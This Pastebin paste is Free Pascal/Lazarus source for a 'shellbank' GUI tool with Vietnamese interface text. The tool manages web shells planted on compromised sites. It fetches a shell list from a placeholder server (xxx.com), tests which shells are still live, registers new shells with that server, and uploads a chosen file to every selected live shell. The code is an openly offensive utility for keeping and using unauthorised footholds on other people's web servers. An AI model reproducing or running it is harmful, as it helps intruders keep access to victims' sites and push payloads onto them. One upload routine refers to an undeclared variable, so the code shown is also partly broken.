Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- unit shellbank;
- {$mode objfpc}{$H+}
- interface
- uses
- Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs, StdCtrls,
- CheckLst, httpsend, synacode;
- type
- { TForm1 }
- TForm1 = class(TForm)
- Button1: TButton;
- Button2: TButton;
- Button3: TButton;
- Button4: TButton;
- CheckBox1: TCheckBox;
- CheckBox2: TCheckBox;
- CheckBox3: TCheckBox;
- CheckListBox1: TCheckListBox;
- CheckListBox2: TCheckListBox;
- CheckListBox3: TCheckListBox;
- Edit1: TEdit;
- Edit2: TEdit;
- Edit3: TEdit;
- Label1: TLabel;
- Label10: TLabel;
- Label2: TLabel;
- Label3: TLabel;
- Label4: TLabel;
- Label5: TLabel;
- Label6: TLabel;
- Label7: TLabel;
- Label8: TLabel;
- Label9: TLabel;
- procedure Button1Click(Sender: TObject);
- procedure Button2Click(Sender: TObject);
- procedure Button3Click(Sender: TObject);
- procedure Button4Click(Sender: TObject);
- procedure CheckBox1Change(Sender: TObject);
- procedure CheckBox2Change(Sender: TObject);
- procedure CheckBox3Change(Sender: TObject);
- private
- { private declarations }
- public
- { public declarations }
- end;
- var
- Form1: TForm1;
- ftemp,finp,fcheck,fdie,fres,flive:text;
- LINK,api:Ansistring;
- httpcl:THTTPSEND;
- implementation
- {$R *.lfm}
- { TForm1 }
- function UPLOAD(LINK,FILENAME:ansistring):boolean;
- var
- Stream: TStream;
- List: TStringList;
- begin
- Stream := TFileStream.Create(FileName, fmOpenRead);
- List:=TStringList.Create;
- if HttpPostFile(LINK,pram, FileName, Stream, List)
- then begin
- ShowMessage(' Upload file thành công với shell '+LINK);
- end else begin
- ShowMessage(' Upload file thất cmn bại với shell '+link);
- end;
- Stream.Free;
- List.Free;
- end;
- function DOWNLOAD(FILENAME:ansistring):boolean;
- begin
- httpcl:=THTTPsend.create;
- if httpcl.httpmethod('GET','http://xxx.com/'+filename) then
- httpcl.document.savetofile(filename);
- httpcl.free;
- end;
- function CHECKSHELL(URL:ansistring):boolean;
- var
- S,st:ansistring;
- begin
- checkshell:=true;
- httpcl:=THTTPsend.Create;
- URL:= URL;
- if httpcl.HTTPMETHOD('GET',URL) then
- httpcl.document.savetofile('temp');
- httpcl.free;
- if FileExists('temp') then
- begin
- system.assign(ftemp,'temp');
- system.assign(fcheck,'up');
- reset(ftemp);
- reset(fcheck);
- if not eof(ftemp) then
- while (not eof(fcheck)) and (not eof(ftemp)) do
- begin
- readln(ftemp,S);
- readln(fcheck,ST);
- if ST<>S then checkshell:=false;
- end
- else checkshell:=false;
- system.close(fcheck);
- system.close(ftemp);
- system.erase(ftemp);
- end else checkshell:=false;
- end;
- procedure TForm1.Button1Click(Sender: TObject);
- var
- countlive,countdie:integer;
- begin
- api:=edit2.text;
- countdie:=0;
- countlive:=0;
- system.assign(fdie,'dieDLNT');
- system.assign(flive,'liveDLNT');
- system.assign(finp,'listDLNT');
- download('listDLNT');
- reset(finp);
- rewrite(fdie);
- rewrite(flive);
- while not eof(finp) do
- begin
- readln(finp,LINK);
- if LINK<>'' then
- if CHECKSHELL(LINK) then
- begin
- inc(countlive);
- writeln(flive,link);
- end
- else
- begin
- inc(countdie);
- writeln(fdie,LINK);
- end;
- end;
- system.close(finp);
- system.close(fdie);
- system.close(flive);
- checkListbox1.Items.loadfromfile('liveDLNT');
- CheckListbox2.items.loadfromfile('dieDLNT');
- Label7.caption:='Có '+inttostr(countlive)+' shell thơm.';
- Label8.caption:='Có '+inttostr(countdie)+' shell xịt.';
- system.erase(finp);
- system.erase(fdie);
- system.erase(flive);
- end;
- procedure TForm1.Button2Click(Sender: TObject);
- var
- URL: ansistring;
- Params: ansistring;
- Response: TMemoryStream;
- sres:ansistring;
- SHELL:ansistring;
- begin
- label3.caption:='';
- api:=edit2.text;
- Response := TMemoryStream.Create;
- edit1.text:=lowercase(edit1.text);
- if (pos('http://',edit1.text)=0) and (pos('https://',edit1.text)=0) then
- edit1.text:='http://'+edit1.text;
- if checkshell(edit1.text)=false then label3.Caption:='Shell không hoạt động. Kiểm tra shell và mã api.' else
- begin
- try
- URL := 'http://xxx.com/live.php';
- Params := 'a=' + EncodeURLElement(edit1.text);
- if HttpPostURL(URL, Params, Response) then
- Response.SaveToFile('response.txt');
- finally
- Response.Free;
- end;
- system.assign(fres,'response.txt');
- reset(fres);
- read(fres,sres);
- if sres='Saved!!!' then label3.caption:='Thêm Shell thành công' else
- label3.caption:='Thêm Shell thất cmn bại!!';
- system.close(fres);
- system.erase(fres);
- end;
- end;
- procedure TForm1.Button3Click(Sender: TObject);
- begin
- end;
- procedure TForm1.Button4Click(Sender: TObject);
- var
- count:longint;
- i:longint;
- begin
- count := checklistbox1.Items.Count;
- for i:=0 to count-1 do
- if checklistbox1.state[i]=cbChecked then upload(checklistbox1.Items[i],edit3.text);
- end;
- procedure TForm1.CheckBox1Change(Sender: TObject);
- var
- count:longint;
- i:longint;
- begin
- count := checklistbox1.Items.Count;
- if checkbox1.state=cbChecked then
- for i:=0 to count-1 do
- checklistbox1.state[i]:=cbChecked;
- if checkbox1.state=cbunChecked then
- for i:=0 to count-1 do
- checklistbox1.state[i]:=cbunChecked;
- end;
- procedure TForm1.CheckBox2Change(Sender: TObject);
- var
- count:longint;
- i:longint;
- begin
- count := checklistbox2.Items.Count;
- if checkbox2.state=cbChecked then
- for i:=0 to count-1 do
- checklistbox2.state[i]:=cbChecked;
- if checkbox2.state=cbunChecked then
- for i:=0 to count-1 do
- checklistbox2.state[i]:=cbunChecked;
- end;
- procedure TForm1.CheckBox3Change(Sender: TObject);
- var
- count:longint;
- i:longint;
- begin
- count := checklistbox3.Items.Count;
- if checkbox3.state=cbChecked then
- for i:=0 to count-1 do
- checklistbox3.state[i]:=cbChecked;
- if checkbox3.state=cbunChecked then
- for i:=0 to count-1 do
- checklistbox3.state[i]:=cbunChecked;
- end;
- end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement